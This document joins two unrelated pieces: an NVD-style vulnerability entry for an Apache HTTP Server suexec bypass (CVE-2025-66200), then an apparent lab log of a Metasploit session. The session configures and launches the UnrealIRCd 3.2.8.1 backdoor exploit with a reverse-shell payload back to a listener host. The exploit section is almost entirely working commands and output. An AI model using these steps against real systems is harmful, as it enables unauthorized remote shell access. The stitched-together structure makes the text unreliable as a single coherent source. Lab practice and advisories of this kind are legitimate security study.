mod_userdir+suexec bypass via AllowOverride FileInfo vulnerability in Apache HTTP Server. Users with access to use the RequestHeader directive in htaccess can cause some CGI scripts to run under an unexpected userid. This issue affects Apache HTTP Server: from 2.4.7 through 2.4.65. Users are recommended to upgrade to version 2.4.66, which fixes the issue.

Metrics

CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0 SSVC

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:



NIST: NVD

Base Score: N/A

NVD assessment not yet provided.

ADP: CISA-ADP

Base Score: 5.4 MEDIUM

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

QUICK INFO

CVE Dictionary Entry:

[CVE-2025-66200](#)

NVD Published Date:

Dec 05, 2025

NVD Last Modified:

Jun 17, 2026

Source:

Apache Software Foundation

```
msf > search unreal_ircd
```

Matching Modules

#	Full Name	Disclosure Date	Rank
Check	Name		
0	exploit/unix/irc/unreal_ircd_3281_backdoor	2010-06-12	excellent
Yes	UnrealIRCd 3.2.8.1 Backdoor Command Execution		

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/unix/irc/unreal_ircd_3281_backdoor`

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
```

```
[*] Using configured payload cmd/linux/http/x86/meterpreter/reverse_tcp
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.103  
RHOSTS => 192.168.56.103
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
```

```
RPORT => 6697
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
```

```
PAYLOAD => cmd/unix/reverse
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.102
```

```
LHOST => 192.168.56.102
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LPORT 4444
```

```
LPORT => 4444
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
```

```
[*] Started reverse TCP double handler on 192.168.56.102:4444
```

```
[*] 192.168.56.103:6697 - Running automatic check ("set AutoCheck false" to disable)
```

```
[*] 192.168.56.103:6697 - Connected to 192.168.56.103:6697
```

```
[*] 192.168.56.103:6697 - Trying to register a new IRC user: louie
```

```
[+] 192.168.56.103:6697 - The target appears to be vulnerable. UnrealIRCd detected after registration
```

```
[*] 192.168.56.103:6697 - Connected to 192.168.56.103:6697
```

```
[*] 192.168.56.103:6697 - Sending IRC backdoor command
```